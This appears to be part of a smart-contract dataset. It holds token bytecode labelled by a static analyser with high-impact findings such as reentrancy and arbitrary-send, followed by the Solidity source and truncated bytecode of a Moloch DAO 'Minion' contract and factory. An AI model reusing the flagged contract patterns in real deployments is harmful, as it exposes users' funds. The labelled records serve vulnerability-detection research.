b476107b9816110b5565b60006109ff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110f3565b9392505050565b6001600160a01b038316610a685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610466565b6001600160a01b038216610ac95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610466565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b8e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610466565b6001600160a01b038216610bf05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610466565b60008111610c525760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610466565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf669060240160206040518083038186803b158015610c9c57600080fd5b505afa158015610cb0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd49190611833565b600c546001600160a01b038481169116148015610cff5750600b546001600160a01b03858116911614155b610d0a576000610d0c565b815b1115610d1757600080fd5b6000546001600160a01b03848116911614801590610d4357506000546001600160a01b03838116911614155b15610e6557600c546001600160a01b038481169116148015610d735750600b546001600160a01b03838116911614155b8015610d9857506001600160a01b03821660009081526004602052604090205460ff16155b15610dee57600a548110610dee5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610466565b6000610df9306108a0565b600c54909150600160a81b900460ff16158015610e245750600c546001600160a01b03858116911614155b8015610e395750600c54600160b01b900460ff165b15610e6357610e4781610eaf565b47670de0b6b3a7640000811115610e6157610e61476110b5565b505b505b610e70838383611121565b505050565b60008184841115610e995760405162461bcd60e51b81526004016104669190611558565b506000610ea6848661184c565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ef757610ef7611863565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f4b57600080fd5b505afa158015610f5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8391906117c6565b81600181518110610f9657610f96611863565b6001600160a01b039283166020918202929092010152600b54610fbc9130911684610a06565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ff5908590600090869030904290600401611879565b600060405180830381600087803b15801561100f57600080fd5b505af1158015611023573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600060055482111561109f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610466565b60006110a961112c565b90506109ff83826109bd565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110ef573d6000803e3d6000fd5b5050565b600081836111145760405162461bcd60e51b81526004016104669190611558565b506000610ea684866118ea565b610e7083838361114f565b6000806000611139611246565b909250905061114882826109bd565b9250505090565b600080600080600080611161876112c8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111939087611325565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111c29086611367565b6001600160a01b0389166000908152600260205260409020556111e4816113c6565b6111ee8483611410565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161123391815260200190565b60405180910390a3505050505050505050565b60055460009081908161125b6006600a611798565b611269906305f5e1006117a7565b905061129161127a6006600a611798565b611288906305f5e1006117a7565b600554906109bd565b8210156112bf576005546112a76006600a611798565b6112b5906305f5e1006117a7565b9350935050509091565b90939092509050565b60008060008060008060008060006112e58a600754600854611434565b92509250925060006112f561112c565b905060008060006113088e878787611489565b919e509c509a509598509396509194505050505091939550919395565b60006109ff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e75565b600080611374838561190c565b9050838110156109ff5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610466565b60006113d061112c565b905060006113de83836114d9565b306000908152600260205260409020549091506113fb9082611367565b30600090815260026020526040902055505050565b60055461141d9083611325565b60055560065461142d9082611367565b6006555050565b600080808061144e606461144889896114d9565b906109bd565b9050600061146160646114488a896114d9565b90506000611479826114738b86611325565b90611325565b9992985090965090945050505050565b600080808061149888866114d9565b905060006114a688876114d9565b905060006114b488886114d9565b905060006114c6826114738686611325565b939b939a50919850919650505050505050565b6000826114e857506000610369565b60006114f483856117a7565b90508261150185836118ea565b146109ff5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610466565b600060208083528351808285015260005b8181101561158557858101830151858201604001528201611569565b81811115611597576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107b957600080fd5b600080604083850312156115d557600080fd5b82356115e0816115ad565b946020939093013593505050565b60008060006060848603121561160357600080fd5b833561160e816115ad565b9250602084013561161e816115ad565b929592945050506040919091013590565b60006020828403121561164157600080fd5b81356109ff816115ad565b60006020828403121561165e57600080fd5b5035919050565b6000806040838503121561167857600080fd5b8235611683816115ad565b91506020830135611693816115ad565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116ef5781600019048211156116d5576116d561169e565b808516156116e257918102915b93841c93908002906116b9565b509250929050565b60008261170657506001610369565b8161171357506000610369565b816001811461172957600281146117335761174f565b6001915050610369565b60ff8411156117445761174461169e565b50506001821b610369565b5060208310610133831016604e8410600b8410161715611772575081810a610369565b61177c83836116b4565b80600019048211156117905761179061169e565b029392505050565b60006109ff60ff8416836116f7565b60008160001904831182151516156117c1576117c161169e565b500290565b6000602082840312156117d857600080fd5b81516109ff816115ad565b6000806000606084860312156117f857600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561182357600080fd5b815180151581146109ff57600080fd5b60006020828403121561184557600080fd5b5051919050565b60008282101561185e5761185e61169e565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118c95784516001600160a01b0316835293830193918301916001016118a4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261190757634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561191f5761191f61169e565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122087da1ae234ba81bd3a24c4485133d0ecde66771079e3d461abf19ddfe55b25de64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,988 |
0x83193d0d833dbd300e9c8a3079d93c3b752f744e
|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.5;
pragma abicoder v2;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface IERC20 { // brief interface for moloch erc20 token txs
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
)
external
returns(bytes4);
}
interface IERC1155Receiver {
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
interface IMOLOCH { // brief interface for moloch dao v2
function depositToken() external view returns (address);
function totalShares() external view returns (uint256);
function tokenWhitelist(address token) external view returns (bool);
function getProposalFlags(uint256 proposalId) external view returns (bool[6] memory);
function getUserTokenBalance(address user, address token) external view returns (uint256);
function members(address user) external view returns (address, uint256, uint256, bool, uint256, uint256);
function memberAddressByDelegateKey(address user) external view returns (address);
function userTokenBalances(address user, address token) external view returns (uint256);
function cancelProposal(uint256 proposalId) external;
function submitProposal(
address applicant,
uint256 sharesRequested,
uint256 lootRequested,
uint256 tributeOffered,
address tributeToken,
uint256 paymentRequested,
address paymentToken,
string calldata details
) external returns (uint256);
struct Proposal {
address applicant; // the applicant who wishes to become a member - this key will be used for withdrawals (doubles as guild kick target for gkick proposals)
address proposer; // the account that submitted the proposal (can be non-member)
address sponsor; // the member that sponsored the proposal (moving it into the queue)
uint256 sharesRequested; // the # of shares the applicant is requesting
uint256 lootRequested; // the amount of loot the applicant is requesting
uint256 tributeOffered; // amount of tokens offered as tribute
address tributeToken; // tribute token contract reference
uint256 paymentRequested; // amount of tokens requested as payment
address paymentToken; // payment token contract reference
uint256 startingPeriod; // the period in which voting can start for this proposal
uint256 yesVotes; // the total number of YES votes for this proposal
uint256 noVotes; // the total number of NO votes for this proposal
bool[6] flags; // [sponsored, processed, didPass, cancelled, whitelist, guildkick]
string details; // proposal details - could be IPFS hash, plaintext, or JSON
uint256 maxTotalSharesAndLootAtYesVote; // the maximum # of total shares encountered at a yes vote on this proposal
}
function proposals(uint256 proposalId) external returns (address, address, address, uint256, uint256, uint256, address, uint256, address, uint256, uint256, uint256);
// function proposals(uint256 proposalId) external returns (Proposal memory);
function withdrawBalance(address token, uint256 amount) external;
}
contract Minion is IERC721Receiver, IERC1155Receiver {
using SafeMath for uint256;
IMOLOCH public moloch;
address public molochDepositToken;
uint256 public minQuorum;
bool private initialized; // internally tracks deployment under eip-1167 proxy pattern
mapping(uint256 => Action) public actions; // proposalId => Action
struct Action {
uint256 value;
address to;
address proposer;
bool executed;
bytes data;
address token;
uint256 amount;
}
event ProposeAction(uint256 proposalId, address proposer);
event ExecuteAction(uint256 proposalId, address executor);
event DoWithdraw(address token, uint256 amount);
event CrossWithdraw(address target, address token, uint256 amount);
event PulledFunds(address moloch, uint256 amount);
event ActionCanceled(uint256 proposalId);
modifier memberOnly() {
require(isMember(msg.sender), "Minion::not member");
_;
}
function init(address _moloch, uint256 _minQuorum) external {
require(!initialized, "initialized");
moloch = IMOLOCH(_moloch);
minQuorum = _minQuorum;
molochDepositToken = moloch.depositToken();
initialized = true;
}
function onERC721Received (address, address, uint256, bytes calldata) external pure override returns(bytes4) {
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure override returns(bytes4) {
return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
}
function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata) external pure override returns(bytes4)
{
return bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"));
}
// -- Withdraw Functions --
function doWithdraw(address token, uint256 amount) public memberOnly {
moloch.withdrawBalance(token, amount); // withdraw funds from parent moloch
emit DoWithdraw(token, amount);
}
function crossWithdraw(address target, address token, uint256 amount, bool transfer) external memberOnly {
// @Dev - Target needs to have a withdrawBalance functions
IMOLOCH(target).withdrawBalance(token, amount);
// Transfers token into DAO.
if(transfer) {
bool whitelisted = moloch.tokenWhitelist(token);
require(whitelisted, "not a whitelisted token");
require(IERC20(token).transfer(address(moloch), amount), "token transfer failed");
}
emit CrossWithdraw(target, token, amount);
}
// -- Proposal Functions --
function proposeAction(
address actionTo,
uint256 actionValue,
bytes calldata actionData,
string memory details,
address withdrawToken,
uint256 withdrawAmount
) external memberOnly returns (uint256) {
// No calls to zero address allows us to check that proxy submitted
// the proposal without getting the proposal struct from parent moloch
require(actionTo != address(0), "invalid actionTo");
uint256 proposalId = moloch.submitProposal(
address(this),
0,
0,
0,
molochDepositToken,
withdrawAmount,
withdrawToken,
details
);
Action memory action = Action({
value: actionValue,
to: actionTo,
proposer: msg.sender,
executed: false,
data: actionData,
token: withdrawToken,
amount: withdrawAmount
});
actions[proposalId] = action;
emit ProposeAction(proposalId, msg.sender);
return proposalId;
}
function executeAction(uint256 proposalId) external returns (bytes memory) {
Action memory action = actions[proposalId];
require(action.to != address(0), "invalid proposalId");
require(!action.executed, "action executed");
bool isPassed = hasQuorum(proposalId);
require(isPassed, "proposal execution requirements not met");
if(moloch.getUserTokenBalance(address(this), action.token) >= action.amount) {
doWithdraw(action.token, action.amount);
}
require(address(this).balance >= action.value, "insufficient native token");
// execute call
actions[proposalId].executed = true;
(bool success, bytes memory retData) = action.to.call{value: action.value}(action.data);
require(success, "call failure");
emit ExecuteAction(proposalId, msg.sender);
return retData;
}
function cancelAction(uint256 _proposalId) external {
Action memory action = actions[_proposalId];
require(msg.sender == action.proposer, "not proposer");
delete actions[_proposalId];
emit ActionCanceled(_proposalId);
moloch.cancelProposal(_proposalId);
}
function hasQuorum(uint256 _proposalId) internal returns (bool) {
// something like this to check is some quorum is met
// if met execution can proceed before proposal is processed
uint256 padding = 100;
uint256 totalShares = moloch.totalShares();
bool[6] memory flags = moloch.getProposalFlags(_proposalId);
// uint yesVotes = moloch.proposals(_proposalId).yesVotes;
// uint noVotes = moloch.proposals(_proposalId).noVotes;
(, , , , , , , , , , uint256 yesVotes, uint256 noVotes) = moloch.proposals(_proposalId);
if (flags[2]) {
return true;
}
if (minQuorum != 0) {
uint256 quorum = yesVotes.mul(padding).div(totalShares);
// if quorum is set it must be met and their can be no NO votes
return quorum >= minQuorum && noVotes < 1;
}
return false;
}
// -- Helper Functions --
function isMember(address user) public view returns (bool) {
address memberAddress = moloch.memberAddressByDelegateKey(user);
(, uint shares,,,,) = moloch.members(memberAddress);
return shares > 0;
}
receive() external payable {}
fallback() external payable {}
}
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
contract CloneFactory {
function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable minion
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
result := create(0, clone, 0x37)
}
}
}
contract MinionFactory is CloneFactory {
address payable immutable public template; // fixed template for minion using eip-1167 proxy pattern
address[] public minionList;
mapping (address => AMinion) public minions;
event SummonMinion(address indexed minion, address indexed moloch, string details, string minionType, uint256 minQuorum);
struct AMinion {
address moloch;
string details;
}
constructor(address payable _template) {
template = _template;
}
function summonMinion(address moloch, string memory details, uint256 minQuorum) external returns (address) {
Minion minion = Minion(createClone(template));
minion.init(moloch, minQuorum);
string memory minionType = "nifty minion";
minions[address(minion)] = AMinion(moloch, details);
minionList.push(address(minion));
emit SummonMinion(address(minion), moloch, details, minionType, minQuorum);
return(address(minion));
}
}
|
0x6080604052600436106100e15760003560e01c8063b5a127e51161007f578063c0c1cf5511610059578063c0c1cf5514610259578063d5ecdb6d14610286578063f23a6e61146102a6578063f8a9eafe146102c6576100e8565b8063b5a127e514610202578063bc197c8114610224578063bed6b61114610244576100e8565b8063399ae724116100bb578063399ae72414610160578063623d9ac91461018057806383240f83146101a2578063a230c524146101d5576100e8565b806303e2b643146100ea578063150b7a021461010a5780633381114b14610140576100e8565b366100e857005b005b3480156100f657600080fd5b506100e8610105366004611704565b6102e6565b34801561011657600080fd5b5061012a610125366004611756565b6104ff565b6040516101379190611b9d565b60405180910390f35b34801561014c57600080fd5b506100e861015b366004611841565b610529565b34801561016c57600080fd5b506100e861017b366004611841565b6105ef565b34801561018c57600080fd5b506101956106dc565b6040516101379190611acc565b3480156101ae57600080fd5b506101c26101bd366004611a54565b6106eb565b6040516101379796959493929190611de5565b3480156101e157600080fd5b506101f56101f036600461154f565b6107cb565b6040516101379190611b92565b34801561020e57600080fd5b506102176108e4565b6040516101379190611dc5565b34801561023057600080fd5b5061012a61023f366004611649565b6108ea565b34801561025057600080fd5b50610195610917565b34801561026557600080fd5b50610279610274366004611a54565b610926565b6040516101379190611bb2565b34801561029257600080fd5b506100e86102a1366004611a54565b610c62565b3480156102b257600080fd5b5061012a6102c13660046117c7565b610e93565b3480156102d257600080fd5b506102176102e136600461186c565b610ebe565b6102ef336107cb565b6103145760405162461bcd60e51b815260040161030b90611d73565b60405180910390fd5b604051630cf20cc960e01b81526001600160a01b03851690630cf20cc9906103429086908690600401611b79565b600060405180830381600087803b15801561035c57600080fd5b505af1158015610370573d6000803e3d6000fd5b5050505080156104be576000805460405163753d756360e01b81526001600160a01b039091169063753d7563906103ab908790600401611acc565b60206040518083038186803b1580156103c357600080fd5b505afa1580156103d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fb9190611a38565b90508061041a5760405162461bcd60e51b815260040161030b90611bc5565b60005460405163a9059cbb60e01b81526001600160a01b038681169263a9059cbb9261044e92909116908790600401611b79565b602060405180830381600087803b15801561046857600080fd5b505af115801561047c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a09190611a38565b6104bc5760405162461bcd60e51b815260040161030b90611c69565b505b7f69725482a69b3feb662528aa4b8028c1f9f6288b9ef746d5c84a847e05ad0d6b8484846040516104f193929190611b55565b60405180910390a150505050565b7f150b7a023d4804d13e8c85fb27262cb750cf6ba9f9dd3bb30d90f482ceeb4b1f95945050505050565b610532336107cb565b61054e5760405162461bcd60e51b815260040161030b90611d73565b600054604051630cf20cc960e01b81526001600160a01b0390911690630cf20cc9906105809085908590600401611b79565b600060405180830381600087803b15801561059a57600080fd5b505af11580156105ae573d6000803e3d6000fd5b505050507f2e42613cca2d5007ef5f2bb60dd0d7f5107ce2119a6968721760eac66f81ee6982826040516105e3929190611b79565b60405180910390a15050565b60035460ff16156106125760405162461bcd60e51b815260040161030b90611cc4565b600080546001600160a01b0319166001600160a01b03848116919091179182905560028390556040805163c89039c560e01b81529051929091169163c89039c591600480820192602092909190829003018186803b15801561067357600080fd5b505afa158015610687573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ab9190611572565b600180546001600160a01b0319166001600160a01b03929092169190911781556003805460ff191690911790555050565b6000546001600160a01b031681565b600460209081526000918252604091829020805460018083015460028085015460038601805489516101009682161596909602600019011692909204601f810188900488028501880190985287845293966001600160a01b039283169692851695600160a01b90950460ff169493928301828280156107ab5780601f10610780576101008083540402835291602001916107ab565b820191906000526020600020905b81548152906001019060200180831161078e57829003601f168201915b50505050600483015460059093015491926001600160a01b031691905087565b6000805460405163100b05e560e21b815282916001600160a01b03169063402c1794906107fc908690600401611acc565b60206040518083038186803b15801561081457600080fd5b505afa158015610828573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084c9190611572565b6000805460405163022b92c360e21b815292935090916001600160a01b03909116906308ae4b0c90610882908590600401611acc565b60c06040518083038186803b15801561089a57600080fd5b505afa1580156108ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d29190611953565b5050509015159450505050505b919050565b60025481565b7fbc197c819b3e337a6f9652dd10becd7eef83032af3b9d958d3d42f669414662198975050505050505050565b6001546001600160a01b031681565b606061093061137a565b600083815260046020908152604091829020825160e081018452815481526001808301546001600160a01b039081168386015260028085015491821684880152600160a01b90910460ff161515606084015260038401805487516101009482161594909402600019011691909104601f810186900486028301860190965285825291949293608086019391929190830182828015610a0f5780601f106109e457610100808354040283529160200191610a0f565b820191906000526020600020905b8154815290600101906020018083116109f257829003601f168201915b505050918352505060048201546001600160a01b039081166020808401919091526005909301546040909201919091529082015191925016610a635760405162461bcd60e51b815260040161030b90611c98565b806060015115610a855760405162461bcd60e51b815260040161030b90611d4a565b6000610a9084611127565b905080610aaf5760405162461bcd60e51b815260040161030b90611c22565b60c082015160005460a08401516040516373f8fd4b60e01b81526001600160a01b03909216916373f8fd4b91610aea91309190600401611ae0565b60206040518083038186803b158015610b0257600080fd5b505afa158015610b16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3a9190611a6c565b10610b5157610b518260a001518360c00151610529565b8151471015610b725760405162461bcd60e51b815260040161030b90611d13565b6000848152600460209081526040808320600201805460ff60a01b1916600160a01b179055908401518451608086015192516060936001600160a01b0390931692610bbc91611ab0565b60006040518083038185875af1925050503d8060008114610bf9576040519150601f19603f3d011682016040523d82523d6000602084013e610bfe565b606091505b509150915081610c205760405162461bcd60e51b815260040161030b90611d9f565b7f89d7c24363edddd17cb8df5f14a2dcbe1257939eda3a686b02a0ab7f79e815468633604051610c51929190611dce565b60405180910390a195945050505050565b610c6a61137a565b600082815260046020908152604091829020825160e081018452815481526001808301546001600160a01b039081168386015260028085015491821684880152600160a01b90910460ff161515606084015260038401805487516101009482161594909402600019011691909104601f810186900486028301860190965285825291949293608086019391929190830182828015610d495780601f10610d1e57610100808354040283529160200191610d49565b820191906000526020600020905b815481529060010190602001808311610d2c57829003601f168201915b505050918352505060048201546001600160a01b039081166020830152600590920154604091820152820151919250163314610d975760405162461bcd60e51b815260040161030b90611bfc565b60008281526004602052604081208181556001810180546001600160a01b03191690556002810180546001600160a81b031916905590610dda60038301826113b5565b506004810180546001600160a01b031916905560006005909101556040517f852ea3421a945e7576fa00a05ec9832650bfc7d5cb4dc0c10c657f704723794790610e25908490611dc5565b60405180910390a160005460405163e0a8f6f560e01b81526001600160a01b039091169063e0a8f6f590610e5d908590600401611dc5565b600060405180830381600087803b158015610e7757600080fd5b505af1158015610e8b573d6000803e3d6000fd5b505050505050565b7ff23a6e612e1ff4830e658fe43f4e3cb4a5f8170bd5d9e69fb5d7a7fa9e4fdf979695505050505050565b6000610ec9336107cb565b610ee55760405162461bcd60e51b815260040161030b90611d73565b6001600160a01b038816610f0b5760405162461bcd60e51b815260040161030b90611ce9565b6000805460015460405163590f940b60e01b81526001600160a01b039283169263590f940b92610f4f923092879283928392909116908b908d908f90600401611afa565b602060405180830381600087803b158015610f6957600080fd5b505af1158015610f7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa19190611a6c565b9050610fab61137a565b6040518060e001604052808a81526020018b6001600160a01b03168152602001336001600160a01b0316815260200160001515815260200189898080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052509385525050506001600160a01b038089166020808501919091526040938401899052868352600481529183902084518155848301516001820180549184166001600160a01b03199283161790559385015160028201805460608801511515600160a01b0260ff60a01b199390951696169590951716919091179092556080830151805193945084936110ad92600385019201906113fc565b5060a08201516004820180546001600160a01b0319166001600160a01b0390921691909117905560c0909101516005909101556040517f19702b16644fe61447d97482382f4a881efc32b6d5bae04dfe06942cacc5b5e6906111129084903390611dce565b60405180910390a15098975050505050505050565b6000805460408051633a98ef3960e01b8152905160649284926001600160a01b0390911691633a98ef3991600480820192602092909190829003018186803b15801561117257600080fd5b505afa158015611186573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111aa9190611a6c565b90506111b4611488565b60005460405163b2643aab60e01b81526001600160a01b039091169063b2643aab906111e4908890600401611dc5565b60c06040518083038186803b1580156111fc57600080fd5b505afa158015611210573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123491906119b2565b6000805460405163013cf08b60e01b8152929350909182916001600160a01b03169063013cf08b9061126a908a90600401611dc5565b61018060405180830381600087803b15801561128557600080fd5b505af1158015611299573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112bd919061158e565b9b509b5050505050505050505050826002600681106112d857fe5b6020020151156112f0576001955050505050506108df565b6002541561132f57600061130e85611308858961133c565b90611367565b905060025481101580156113225750600182105b96505050505050506108df565b5060009695505050505050565b60008261134b57506000611361565b508181028183828161135957fe5b041461136157fe5b92915050565b600081838161137257fe5b049392505050565b6040805160e0810182526000808252602082018190529181018290526060808201839052608082015260a0810182905260c081019190915290565b50805460018160011615610100020316600290046000825580601f106113db57506113f9565b601f0160209004906000526020600020908101906113f991906114a6565b50565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826114325760008555611478565b82601f1061144b57805160ff1916838001178555611478565b82800160010185558215611478579182015b8281111561147857825182559160200191906001019061145d565b506114849291506114a6565b5090565b6040518060c001604052806006906020820280368337509192915050565b5b8082111561148457600081556001016114a7565b80356108df81611e86565b60008083601f8401126114d7578081fd5b50813567ffffffffffffffff8111156114ee578182fd5b602083019150836020808302850101111561150857600080fd5b9250929050565b60008083601f840112611520578182fd5b50813567ffffffffffffffff811115611537578182fd5b60208301915083602082850101111561150857600080fd5b600060208284031215611560578081fd5b813561156b81611e86565b9392505050565b600060208284031215611583578081fd5b815161156b81611e86565b6000806000806000806000806000806000806101808d8f0312156115b0578788fd5b8c516115bb81611e86565b60208e0151909c506115cc81611e86565b60408e0151909b506115dd81611e86565b809a505060608d0151985060808d0151975060a08d0151965060c08d015161160481611e86565b60e08e01516101008f0151919750955061161d81611e86565b809450506101208d015192506101408d015191506101608d015190509295989b509295989b509295989b565b60008060008060008060008060a0898b031215611664578384fd5b883561166f81611e86565b9750602089013561167f81611e86565b9650604089013567ffffffffffffffff8082111561169b578586fd5b6116a78c838d016114c6565b909850965060608b01359150808211156116bf578586fd5b6116cb8c838d016114c6565b909650945060808b01359150808211156116e3578384fd5b506116f08b828c0161150f565b999c989b5096995094979396929594505050565b60008060008060808587031215611719578384fd5b843561172481611e86565b9350602085013561173481611e86565b925060408501359150606085013561174b81611e9b565b939692955090935050565b60008060008060006080868803121561176d578081fd5b853561177881611e86565b9450602086013561178881611e86565b935060408601359250606086013567ffffffffffffffff8111156117aa578182fd5b6117b68882890161150f565b969995985093965092949392505050565b60008060008060008060a087890312156117df578182fd5b86356117ea81611e86565b955060208701356117fa81611e86565b94506040870135935060608701359250608087013567ffffffffffffffff811115611823578283fd5b61182f89828a0161150f565b979a9699509497509295939492505050565b60008060408385031215611853578182fd5b823561185e81611e86565b946020939093013593505050565b600080600080600080600060c0888a031215611886578081fd5b873561189181611e86565b96506020888101359650604089013567ffffffffffffffff808211156118b5578384fd5b6118c18c838d0161150f565b909850965060608b01359150808211156118d9578384fd5b818b0191508b601f8301126118ec578384fd5b8135818111156118f857fe5b61190a601f8201601f19168501611e32565b91508082528c8482850101111561191f578485fd5b8084840185840137810190920183905250925061193e608089016114bb565b915060a0880135905092959891949750929550565b60008060008060008060c0878903121561196b578384fd5b865161197681611e86565b809650506020870151945060408701519350606087015161199681611e9b565b809350506080870151915060a087015190509295509295509295565b600060c082840312156119c3578081fd5b82601f8301126119d1578081fd5b60405160c0810181811067ffffffffffffffff821117156119ee57fe5b604052808360c08101861015611a02578384fd5b835b6006811015611a2d578151611a1881611e9b565b83526020928301929190910190600101611a04565b509195945050505050565b600060208284031215611a49578081fd5b815161156b81611e9b565b600060208284031215611a65578081fd5b5035919050565b600060208284031215611a7d578081fd5b5051919050565b60008151808452611a9c816020860160208601611e56565b601f01601f19169290920160200192915050565b60008251611ac2818460208701611e56565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b600061010060018060a01b03808c1684528a602085015289604085015288606085015280881660808501528660a085015280861660c0850152508060e0840152611b4681840185611a84565b9b9a5050505050505050505050565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b6001600160e01b031991909116815260200190565b60006020825261156b6020830184611a84565b60208082526017908201527f6e6f7420612077686974656c697374656420746f6b656e000000000000000000604082015260600190565b6020808252600c908201526b3737ba10383937b837b9b2b960a11b604082015260600190565b60208082526027908201527f70726f706f73616c20657865637574696f6e20726571756972656d656e7473206040820152661b9bdd081b595d60ca1b606082015260800190565b6020808252601590820152741d1bdad95b881d1c985b9cd9995c8819985a5b1959605a1b60408201